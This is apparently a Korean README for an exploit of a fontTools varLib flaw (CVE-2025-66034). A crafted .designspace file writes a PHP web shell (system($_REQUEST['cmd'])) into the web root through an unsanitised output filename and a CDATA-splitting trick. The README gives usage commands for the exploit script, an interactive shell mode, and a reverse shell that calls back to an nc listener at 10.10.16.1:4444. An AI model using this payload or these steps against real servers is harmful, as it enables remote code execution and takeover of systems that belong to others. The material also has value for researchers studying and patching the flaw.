
CVE-2025-66034 exploit 및 문서
fontTools는 폰트 파일을 조작하기 위한 Python 라이브러리입니다. 해당 varLib 모듈은 .designspace 파일(여러 폰트 마스터를 보간하여 가변 폰트를 생성하는 방법을 설명하는 XML 형식)을 처리합니다.
영향을 받는 버전에는 두 가지 약점이 존재합니다:
1. 정화되지 않은 출력 파일 이름
designspace 파일의 <variable-font filename="..."> 속성은 varLib가 컴파일된 출력 폰트를 기록하는 위치를 제어합니다. 라이브러리는 이 경로를 파일 시스템에 전달하기 전에 검증이나 정규화를 수행하지 않습니다. 공격자는 절대 경로나 경로 순회 시퀀스를 제공하여 프로세스가 쓰기 권한을 가진 모든 위치에 출력 파일을 작성할 수 있습니다.
2. XML 콘텐츠가 출력으로 그대로 전달됨
fontTools는 <labelname> 요소의 축 레이블 이름을 콘텐츠를 정화하지 않고 원시 바이트로 출력 폰트의 name 테이블에 직접 직렬화합니다. <labelname> 블록 안에 배치된 모든 문자열(PHP 코드 포함)은 작성된 파일에 있는 그대로 저장됩니다.
이 두 가지 약점이 결합되면 fontTools 기반 웹 엔드포인트에 designspace 파일을 제출할 수 있는 공격자가 서버의 모든 쓰기 가능한 경로에 임의의 콘텐츠가 포함된 임의의 파일을 작성할 수 있습니다.
designspace 파일에는 두 가지 인젝션이 포함되어 있습니다.
첫 번째는 <labelname> 요소에 있습니다:
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
XML의 CDATA 섹션은 엔티티 이스케이프 없이 임의의 문자 데이터를 허용하지만, CDATA 섹션 자체는 해당 섹션을 종료시키는 ]]> 시퀀스를 포함할 수 없습니다. PHP 닫는 태그 ?>를 단순하게 작성하면 파싱 오류가 발생합니다. ]]]]><![CDATA[> 시퀀스는 ]] 직후에 하나의 CDATA 섹션을 닫고 >로 시작하는 새 섹션을 엽니다. 따라서 최종 렌더링된 콘텐츠는 <?php system($_REQUEST["cmd"]);?> — 문법적으로 유효한 PHP — 가 되며 XML 파서 오류를 전혀 트리거하지 않습니다.
두 번째 인젝션은 출력 경로에 있습니다:
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">
fontTools는 이 문자열에서 경로 정규화 없이 출력 파일 핸들을 구성합니다. 파일은 해당 정확한 위치에 생성됩니다.
varLib는 컴파일할 소스 폰트가 최소 하나 이상 필요합니다. 마스터는 실제 폰트일 필요가 없습니다. 단일 빈 글리프가 있는 최소 TTF만으로도 검증을 통과하기에 충분합니다. 이 익스플로잇에 포함된 base64 TTF는 fontTools FontBuilder로 생성되었으며 사각형 윤곽선을 가진 .notdef 글리프와 최소 요구 테이블(head, hhea, OS/2, cmap, glyf, hmtx, name, post)만 포함합니다.
이 익스플로잇은 designspace와 TTF를 multipart/form-data POST로 웹 애플리케이션의 폰트 생성 엔드포인트에 제출합니다. 서버는 파일을 varLib.build()에 전달합니다. varLib는 designspace를 파싱하고, 마스터를 읽고, 가변 폰트를 컴파일한 다음 filename=에 지정된 경로(즉, 웹 루트)에 기록합니다.
작성된 파일은 내부에 PHP 페이로드가 포함된 바이너리 폰트 파일입니다. PHP 파서는 파일이 전적으로 PHP로 구성될 것을 요구하지 않고 파일에서 여는 태그를 검색합니다. 웹 서버가 해당 파일을 PHP로 처리하면 <?php system($_REQUEST["cmd"]);?>를 찾아 실행합니다. 태그 앞뒤의 모든 내용은 있는 그대로 출력되고 무시됩니다.
응답 본문은 원시 폰트 바이너리입니다. 명령 출력은 fontTools가 name 테이블에 기록하는 두 개의 예측 가능한 랜드마크 사이에 위치합니다:
TestWeight400 — 포함된 마스터 TTF의 family 및 weight class 필드에서 파생됨]]>ThinMEOW2 — designspace의 프랑스어 <labelname> 요소에서 유래이 익스플로잇은 이 두 문자열 사이의 응답을 잘라내고 BeautifulSoup로 잔여 XML 태그를 제거하여 깨끗한 명령 출력을 생성합니다.
pip install requests beautifulsoup4
세 가지 대상 매개변수는 모두 필수입니다. 기본값은 하드코딩되어 있지 않습니다.
--process-url Full URL of the font processor endpoint
--shell-url Full URL where the webshell will be reachable after the write
--write-path Filesystem path the server will write the shell to
선택 사항:
--session PHPSESSID cookie value (if the portal requires authentication)
--no-plant Skip the upload step (shell already planted)
--hostname Label shown in the interactive prompt
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
exec 'id'
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
--session YOUR_PHPSESSID \
--hostname webserver \
interactive
먼저 리스너를 시작합니다:
nc -lvnp 4444
그런 다음 트리거합니다:
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
revshell 10.10.16.1 4444
리버스 셸 페이로드는 cmd 쿼리 매개변수 내부에서 셸 메타문자 이스케이프 문제를 피하기 위해 전송 전에 base64로 인코딩됩니다.
varLib 모듈의 build() 함수와 designspace 파서에 존재합니다.